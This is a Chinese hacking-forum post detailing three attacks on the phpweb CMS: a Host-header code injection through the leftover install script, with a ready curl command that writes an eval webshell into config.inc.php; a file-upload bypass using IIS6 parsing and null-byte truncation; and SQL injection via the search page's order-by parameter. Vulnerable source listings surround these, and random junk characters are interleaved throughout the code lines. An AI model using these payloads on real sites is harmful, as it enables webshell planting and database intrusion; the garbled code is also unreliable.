找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2427|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:" T# ]* S1 E6 N) k4 Z! O0 }+ r. [$ N
9 P8 B$ W* a) P! O9 k
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码" v$ S" ?7 i8 P, y
+ F9 X. n' [( h" W5 c
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
6 w6 _! y& K; u' @% I鸡肋2: 有一定安全常识的站长都会删掉 install 目录
; t+ T# \# B  ]5 T
- U+ b2 O/ G+ L" S' c, T7 p6 @9 {& q虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
5 z% S, Q- N) C5 l8 r 8 {, ?" k, @0 k8 `6 B8 y: ]
分析:8 V& E* n) u3 A; W& F
% e5 ]' ?. F& h, O8 M2 m& B

6 n5 b" l) L* C; R+ W/ j0 c$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
* d4 k$ }* H- b$ [! ^
9 ^3 a/ T) ~- s+ A, Y0 \1 {  N6 D                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
, F6 G+ w5 S& s                                            $filestr=str_replace(" ","",$filestr);( e. j( }7 m; e. s% [" {7 c
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
$ D+ h1 R& @) ]9 ~* u( n2 J                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);. z' \0 c+ m/ H; L" ?
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);; J$ G2 K- N5 P- h4 g
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
8 N' \% t( `9 ^  g                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
- O# h7 V! N- {  C* W- O4 F( _                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);3 u1 V6 ?' g" p0 D9 P+ v
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
0 H+ r" L9 n) u) v" r& A# _& H" i; T 7 @) c) n( |. ?9 I
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);4 l: O. A; U2 w  \
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
7 T' F" L+ B6 a: L0 S/ T# V
  @& s1 f8 M% opoc:2 s3 S& e8 r' o3 k$ D$ Y# v
. D. S3 \; y$ b) q7 ^
?  z/ x9 [8 P* @( g6 D
1# [; v! T/ J! I$ ]( s
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
; P' k5 |9 W1 Vshell地址: /config.inc.php
+ k$ e1 N+ a3 C  N跟之前的 phpcms一样 需要远程数据库
& m4 a# [6 P9 g% \( K8 b9 q/ {
1 a- o9 z9 {$ m——————————————————–& E2 T5 J: ~' ^0 m& i
上传漏洞(需要进后台):% x! T* j( r2 _9 z6 _! n
漏洞文件: /kedit/upload_cgi/upload.php( E& Y: Y3 G1 D
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用2 ~! G2 S7 ^1 ~" g& a

' o* @" C1 |  |  m' m, O  [ . {( i1 ~7 [2 b5 ]* N7 L
<?php
7 _$ D. N, |: s) F( `    define("ROOTPATH", "../../");
& d( D$ g2 k( r    include(ROOTPATH."includes/admin.inc.php");
  \9 ^! v- C5 K( }! \    NeedAuth(0);) V7 w' u0 ?! B. _) B- d# e# J
7 Y6 U1 H" D* \8 r& k+ v$ L3 D9 K
    $dt=date("Ymd",time());
; e2 M+ V* v+ P: |6 t0 F9 a    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){8 J9 h7 b8 H# |
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
1 D7 ]1 ^7 w& m" _4 x, ^1 q    }3 T3 L( i# E/ q/ O& K) j
8 ]. V9 c2 E  b' w
    //文件保存目录路径% ^! V# n7 F, f$ S6 a- {  Y
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';# d5 D* y* D* {) M
    echo $save_path;
; p: o% ]* f% I2 T$ G$ |$ ]# V    //文件保存目录URL  Q4 [: m/ q4 z: g: v
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
6 d8 `2 A5 [, G+ [5 K+ g
6 b) H/ k; G. u  e+ `1 Y    //定义允许上传的文件扩展名
' D2 {* o0 ?3 O    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀1 \- \; b  P0 ]6 D  Q; R: ]
2 y# {8 R# P7 Z5 j
    //最大文件大小; f* V* C6 M, U; U3 O# |% |
    $max_size = 1000000;
: Q! _- x  W- h$ P+ \: c# g* ~
) w" d- ~& `- t2 p8 ?& ]: q. |6 X4 K    //更改目录权限
2 t: M8 S0 @# U/ j    @mkdir($save_path, 0777);& `* ]( b! T3 {. w# H3 D' f7 P
5 S6 y% ~' _* T  B/ b5 @  ^
    //文件的全部路径/ b3 z, p  H, ^  N: ~. R- j
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
) q* z3 g' d7 A, p0 [
5 w# |6 k& e6 o8 `, ], r    //文件URL
2 E$ t' E1 {$ m& N$ {    $file_url = $save_url.$_POST['fileName'];
. _2 F, e, A: \. y7 o: o) R; H& F//有上传文件时
0 x2 E3 n4 X, ~# l/ K1 @7 r- ~    if (empty($_FILES) === false) {
) X+ N* T) T. R2 F. o- g' F4 y+ I; n ) U+ m9 K$ e+ K6 i5 R7 G7 k
            //原文件名  A) Y: @" L3 S
            $file_name = $_FILES['fileData']['name'];
6 y& q! J* N0 u+ R7 @            //服务器上临时文件名. b' V3 H* d. v1 Q8 l: {
            $tmp_name = $_FILES['fileData']['tmp_name'];2 R9 n! |. l, \! _
            //文件大小& M8 X3 R# R" M
            $file_size = $_FILES['fileData']['size'];
" Y* a. Q9 G6 o# B4 L            //检查目录5 w% b5 K4 a! a! G% Y
            if (@is_dir($save_path) === false) {
. l( Z8 d, m, ^; J                    alert("上传目录不存在。");
0 g! l4 o9 _' b/ j            }/ t3 P+ ]) T/ U' E7 D$ j
            //检查目录写权限/ s% l0 G+ }; P. G( I( v0 T+ n
            if (@is_writable($save_path) === false) {
/ m7 a6 G& @; j% N+ g; V- G                    alert("上传目录没有写权限。");
3 Q2 X% [! j2 Z3 ?  r            }
2 j  x! Y1 u; H  }% U) Y) z$ o            //检查是否已上传
8 J4 Y3 {  g, b+ P            if (@is_uploaded_file($tmp_name) === false) {
( N9 @8 b$ _$ z* Q$ T9 `9 B                    alert("临时文件可能不是上传文件。");
0 P- o. {4 @# W- D            }
+ _( T* V  ?3 N1 \# z- Q: k            //检查文件大小
, C! M; e7 |2 j( y            if ($file_size > $max_size) {. g: u5 n& Z$ K, n- }! Z
                    alert("上传文件大小超过限制。");
& G* k5 m4 ?5 m. Y0 `* m            }
6 z( B5 b' @6 p            //获得文件扩展名
- e+ @: Q5 Y; ]% I% e            $temp_arr = explode(".", $_POST['fileName']);* j" Z7 e$ ~/ @1 h9 Q1 t! Y3 G
            $file_ext = array_pop($temp_arr);" I" z" q; I0 y
            $file_ext = trim($file_ext);1 {* p. n- z, E* X" [3 n
            $file_ext = strtolower($file_ext);
2 j! q! i/ O7 S  v" ~9 t
# N% n3 `! q$ h# i( ^            //检查扩展名   9 ^$ g0 y2 f5 U* D8 [- [4 b8 d
            if (in_array($file_ext, $ext_arr) === false) {     2 D7 n3 R$ g3 Y5 m* V& a" ~! K
                    alert("上传文件扩展名是不允许的扩展名。");" E. o; G5 _3 A! x
            }9 F$ h: Q- V% d$ Q$ h
* y  l* e$ K% |
            //移动文件   
& R. ]; c+ t2 {. b" y            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
- \0 H3 ?# X; J( p4 P            if (move_uploaded_file($tmp_name, $file_path) === false) {/ n6 ?% L' \! {8 b1 h8 F& [! J
                    alert("上传文件失败。");
9 ]8 r9 Q# Z1 F6 P            }! a, r2 X8 c! G" {* U# u
) e; Z: W' J+ x, m0 }
            @chmod($file_path,0666);6 \: I3 n3 y0 @7 C, r

3 Q" Y! T1 F* ]: i4 x6 c$ l6 o    ?>) R0 N% R: A6 _( o7 u9 |4 P
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
  b) b, G7 H( `# v+ x . c4 D- ?* f* N+ X
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
2 n( w1 \5 n3 ], [8 K
* f' _% s6 e" x0 @——————————————————
* ]2 r/ a5 W- G% C/ G注入漏洞:
( u# Q$ x+ ~8 c8 p漏洞文件:search/module/search.php# I- P# N; v4 e: g" w, c" ?; h
/search/index.php?key=1&myord=1 [sqlinjection]
, }+ h( H7 [8 z* K' _# E0 E# y2 @' f 3 Z  Q$ ?0 i' f! x6 {# {  w
. R6 y- f6 Q' N: f! V# O& J4 x
<?php
, J7 |! h0 N/ v* R/ }3 A4 s5 N   //       ... 省略 n 行...
0 J1 Y" F- P; M3 `   //第18行:# _' ]( f# U, \4 w8 N
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响3 i% b* c# C) I+ W9 k) D7 f8 \3 B
           $page=htmlspecialchars($_GET["page"]);
, u4 y  V! w. @5 E           $myord=htmlspecialchars($_GET["myord"]);6 h0 v! Q- h9 f7 M1 B' e
! R2 c# \3 @. M
   //       ... 省略 n 行...
5 T( t3 }) R( ~; K) v( F0 V# ^  _   $key,$myord 两个参数带入查询5 B6 j, \: G9 ^$ Y$ |
   //第47行 $key:
, |  V9 V: G) r) Z# t. q- C
7 u  I+ S9 F- w6 D( z   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
1 s, @2 N, F& P9 Y3 ] 4 [3 G! Q( [% e' \! j2 T0 {6 y  M
   //第197行 $myord
8 |# S' z+ J1 P3 a   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入9 A+ [1 R% ^4 I* X1 `

* F% {: q5 j  y1 j: `   ?>) ?6 Z8 a$ A" ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表